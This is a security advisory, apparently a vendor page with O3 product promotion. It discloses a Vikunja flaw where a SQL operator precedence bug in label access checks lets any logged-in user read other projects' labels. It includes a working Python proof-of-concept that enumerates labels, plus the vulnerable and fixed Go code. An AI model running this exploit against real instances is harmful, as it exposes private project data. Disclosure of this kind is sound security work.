GHSA-hj5c-mhh2-g7jq
MEDIUMGHSA-hj5c-mhh2-g7jq is a medium-severity (CVSS 4.3) CWE-863 vulnerability in code.vikunja.io/api. O3 Security confirms whether GHSA-hj5c-mhh2-g7jq is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Vikunja has Broken Access Control on Label Read via SQL Operator Precedence Bug
Blast Radius
code.vikunja.io/apiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The hasAccessToLabel function contains a SQL operator precedence bug that allows any authenticated user to read any label that has at least one task association, regardless of project access. Label titles, descriptions, colors, and creator information are exposed.
Details
The access control query at pkg/models/label_permissions.go:85-91 uses xorm's query chain in a way that produces SQL without proper grouping:
has, err = s.Table("labels").
Select("label_tasks.*").
Join("LEFT", "label_tasks", "label_tasks.label_id = labels.id").
Where("label_tasks.label_id is not null OR labels.created_by_id = ?", createdByID).
Or(cond).
And("labels.id = ?", l.ID).
Exist(ll)
The xorm chain .Where(A OR B).Or(C).And(D) generates SQL: WHERE A OR B OR C AND D. Because SQL AND has higher precedence than OR, this evaluates as WHERE A OR B OR (C AND D). The labels.id = ? constraint (D) only binds to the project access condition (C), while label_tasks.label_id IS NOT NULL (part of A) remains unconstrained.
Any label that has at least one task association passes the IS NOT NULL check, regardless of who is requesting it.
Proof of Concept
Tested on Vikunja v2.2.2.
import requests
TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"
def login(u, p):
return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"]
def h(token):
return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
a_token = login("labeler", "Labeler123!")
b_token = login("snooper", "Snooper123!")
# labeler creates private project, label, task, and assigns label
proj = requests.put(f"{API}/projects", headers=h(a_token),
json={"title": "Private Project"}).json()
label = requests.put(f"{API}/labels", headers=h(a_token),
json={"title": "CONFIDENTIAL-REVENUE", "hex_color": "ff0000"}).json()
task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h(a_token),
json={"title": "Q4 revenue data"}).json()
requests.put(f"{API}/tasks/{task['id']}/labels", headers=h(a_token),
json={"label_id": label["id"]})
# snooper reads the label from labeler's private project
r = requests.get(f"{API}/labels/{label['id']}", headers=h(b_token))
print(f"GET /labels/{label['id']}: {r.status_code}") # 200 - should be 403
if r.status_code == 200:
data = r.json()
print(f"Title: {data['title']}") # CONFIDENTIAL-REVENUE
print(f"Creator: {data['created_by']['username']}") # labeler
Output:
GET /labels/1: 200
Title: CONFIDENTIAL-REVENUE
Creator: labeler
Label IDs are sequential integers, making enumeration straightforward.
Impact
Any authenticated user can read label metadata (titles, descriptions, colors) and creator user information from any project in the instance, provided the labels are attached to at least one task. This constitutes cross-project information disclosure. The creator's username and display name are also exposed.
Recommended Fix
Use explicit builder.And/builder.Or grouping:
has, err = s.Table("labels").
Select("label_tasks.*").
Join("LEFT", "label_tasks", "label_tasks.label_id = labels.id").
Where(builder.And(
builder.Eq{"labels.id": l.ID},
builder.Or(
builder.And(builder.Expr("label_tasks.label_id is not null"), cond),
builder.Eq{"labels.created_by_id": createdByID},
),
)).
Exist(ll)
Found and reported by aisafe.io
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | code.vikunja.io/api | all versions | 2.3.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.vikunja.io/api. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update code.vikunja.io/api to 2.3.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-hj5c-mhh2-g7jq is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-hj5c-mhh2-g7jq is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-hj5c-mhh2-g7jq. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-hj5c-mhh2-g7jq in your dependencies?
O3 detects GHSA-hj5c-mhh2-g7jq across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.